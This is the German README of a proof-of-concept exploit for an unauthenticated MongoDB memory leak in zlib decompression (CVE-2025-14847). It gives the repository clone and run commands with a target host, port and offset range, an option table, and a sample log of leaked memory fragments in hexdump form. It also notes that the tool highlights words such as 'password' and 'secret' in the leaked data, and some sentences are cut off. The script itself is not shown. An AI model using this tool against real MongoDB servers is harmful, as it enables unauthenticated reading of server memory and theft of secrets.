
CVE-2025-14847 – MongoDB Unauthenticated Memory‑Leak Exploit
Ein Proof-of-Concept (PoC) Exploit für die MongoDB zlib-Dekomprimierungs Sicherheitslücke, die es nicht authentifizierten Angreifern ermöglicht, sensible Serverspeicher zu lesen.
Der PoC ist in Python 3 implementiert und zeigt, wie ein bösartiges OP_COMPRESSED-Paket den Fehler auslösen kann, wodurch MongoDB nicht initialisierten Speicher als BSON-Daten zurückgibt.
Die Sicherheitslücke wird durch einen Fehler in der zlib-Nachrichtendekomprimierung von MongoDB verursacht:
uncompressedSize-Angabe wird gesendet.Der PoC sendet ein präpariertes OP_COMPRESSED-Paket und analysiert die Fehlerantwort des Servers, um durchgesickerte Datenfragmente wiederherzustellen.
| Komponente | Version | Hinweise |
|---|---|---|
| Python | ≥ 3.8 | Das Skript ist nur für Python‑3 |
| MongoDB | ≥ 4.4 | Das Ziel muss anfällig für CVE‑2025‑14847 sein |
| Optional |
# Klone das Repository (oder kopiere das Skript)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847
# (Optional) Installiere erforderliche Python-Pakete
pip install -r requirements.txt
python exploit.py [OPTIONEN]
Beispiel:
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin
$ python3 exploit.py
11:02:41 CVE-2025-14847 INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847 INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:41 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847 INFO │ 00000000: 20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b | object with unk|
11:02:41 CVE-2025-14847 INFO │ 00000010: 6e 6f 77 6e 20 5f 69 64 |nown _id|
11:02:41 CVE-2025-14847 INFO │ [+] offset= 39 len= 24:
11:02:45 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:45 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847 INFO │ 00000000: 73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67 |s skipped during|
11:02:45 CVE-2025-14847 INFO │ 00000010: 20 74 72 65 65 20 77 61 6c 6b | tree walk|
11:02:45 CVE-2025-14847 INFO │ [+] offset=3064 len= 26:
11:02:50 CVE-2025-14847 INFO │ Offset Hex ASCII
....
11:02:50 CVE-2025-14847 INFO │ [+] offset=6663 len= 38:
11:02:52 CVE-2025-14847 SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847 SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847 SUCCESS │ [*] Saved to: leaked.bin
Das Skript protokolliert jedes interessante Fragment (Länge > 10 Bytes) und gibt eine Hexdump-Ansicht aus. Alle durchgesickerten Daten werden an leaked.bin angehängt.

[+] offset= <doc_len> len= <len> gibt an, wo ein Fragment gefunden wurde.password, secret, usw.) aus, die in den durchgesickerten Daten gefunden wurden.Dieser PoC wird "wie besehen" ohne jegliche Garantie bereitgestellt. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Skript verursacht werden. Nutzung auf eigene Gefahr.
requirements.txt |
| Im Repository bereitgestellt |
| Option | Standard | Beschreibung |
|---|
--host | localhost | Ziel-MongoDB-Host |
--port | 27017 | Ziel-MongoDB-Port |
--min-offset | 20 | Minimale Dokumentlänge zum Sondieren |
--max-offset | 8192 | Maximale Dokumentlänge zum Sondieren |
--output | leaked.bin | Datei, in der durchgesickerte Daten gespeichert werden |